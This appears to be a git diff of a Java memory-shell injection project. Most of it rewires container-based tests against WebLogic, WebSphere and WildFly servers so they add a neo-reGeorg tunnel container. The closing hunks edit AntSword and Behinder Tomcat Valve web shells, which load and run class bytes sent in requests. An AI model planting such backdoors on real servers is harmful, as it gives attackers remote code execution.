||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class WebLogic12214ContainerTest {
|
public class WebLogic12214ContainerTest {
|
||||||
public static final String imageName = "reajason/weblogic:12.2.1.4";
|
public static final String imageName = "reajason/weblogic:12.2.1.4";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
|
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(7001);
|
.withExposedPorts(7001);
|
||||||
|
|
||||||
@@ -56,7 +65,7 @@ public class WebLogic12214ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class WebLogic14110ContainerTest {
|
public class WebLogic14110ContainerTest {
|
||||||
public static final String imageName = "reajason/weblogic:14.1.1.0";
|
public static final String imageName = "reajason/weblogic:14.1.1.0";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
|
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(7001);
|
.withExposedPorts(7001);
|
||||||
|
|
||||||
@@ -56,7 +65,7 @@ public class WebLogic14110ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+10
-1
@@ -13,7 +13,9 @@ import org.junit.jupiter.params.provider.Arguments;
|
|||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.BindMode;
|
import org.testcontainers.containers.BindMode;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -34,11 +36,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class WebSphere855ContainerTest {
|
public class WebSphere855ContainerTest {
|
||||||
public static final String imageName = "reajason/websphere:8.5.5.24";
|
public static final String imageName = "reajason/websphere:8.5.5.24";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
|
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
.withExposedPorts(9080)
|
.withExposedPorts(9080)
|
||||||
.withPrivilegedMode(true);
|
.withPrivilegedMode(true);
|
||||||
@@ -60,7 +69,7 @@ public class WebSphere855ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+10
-1
@@ -13,7 +13,9 @@ import org.junit.jupiter.params.provider.Arguments;
|
|||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.BindMode;
|
import org.testcontainers.containers.BindMode;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -34,11 +36,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class WebSphere905ContainerTest {
|
public class WebSphere905ContainerTest {
|
||||||
public static final String imageName = "reajason/websphere:9.0.5.17";
|
public static final String imageName = "reajason/websphere:9.0.5.17";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
|
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
.withExposedPorts(9080)
|
.withExposedPorts(9080)
|
||||||
.withPrivilegedMode(true);
|
.withPrivilegedMode(true);
|
||||||
@@ -59,7 +68,7 @@ public class WebSphere905ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+10
-1
@@ -13,7 +13,9 @@ import org.junit.jupiter.params.provider.Arguments;
|
|||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.BindMode;
|
import org.testcontainers.containers.BindMode;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -34,11 +36,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class WebSphere700ContainerTest {
|
public class WebSphere700ContainerTest {
|
||||||
public static final String imageName = "reajason/websphere:7.0.0.21";
|
public static final String imageName = "reajason/websphere:7.0.0.21";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
|
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
.withExposedPorts(9080)
|
.withExposedPorts(9080)
|
||||||
.withPrivilegedMode(true);
|
.withPrivilegedMode(true);
|
||||||
@@ -60,7 +69,7 @@ public class WebSphere700ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Wildfly18ContainerTest {
|
public class Wildfly18ContainerTest {
|
||||||
public static final String imageName = "jboss/wildfly:18.0.1.Final";
|
public static final String imageName = "jboss/wildfly:18.0.1.Final";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +65,6 @@ public class Wildfly18ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Wildfly23ContainerTest {
|
public class Wildfly23ContainerTest {
|
||||||
public static final String imageName = "jboss/wildfly:23.0.2.Final";
|
public static final String imageName = "jboss/wildfly:23.0.2.Final";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +65,6 @@ public class Wildfly23ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Wildfly30ContainerTest {
|
public class Wildfly30ContainerTest {
|
||||||
public static final String imageName = "quay.io/wildfly/wildfly:30.0.1.Final-jdk17";
|
public static final String imageName = "quay.io/wildfly/wildfly:30.0.1.Final-jdk17";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
.withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -59,6 +67,6 @@ public class Wildfly30ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
||||||
@@ -36,12 +38,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Wildfly9ContainerTest {
|
public class Wildfly9ContainerTest {
|
||||||
public static final String imageName = "jboss/wildfly:10.0.0.Final";
|
public static final String imageName = "jboss/wildfly:10.0.0.Final";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -65,6 +73,6 @@ public class Wildfly9ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+93
File diff suppressed because one or more lines are too long
+109
File diff suppressed because one or more lines are too long
+3
-5
@@ -77,12 +77,10 @@ public class AntSwordValve extends ClassLoader implements Valve {
|
|||||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||||
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||||
instance.equals(new Object[]{request, response});
|
instance.equals(new Object[]{request, response});
|
||||||
} else {
|
return;
|
||||||
this.getNext().invoke(request, response);
|
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception ignored) {
|
||||||
e.printStackTrace();
|
|
||||||
this.getNext().invoke(request, response);
|
|
||||||
}
|
}
|
||||||
|
this.getNext().invoke(request, response);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-5
@@ -92,13 +92,11 @@ public class BehinderValve extends ClassLoader implements Valve {
|
|||||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||||
Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||||
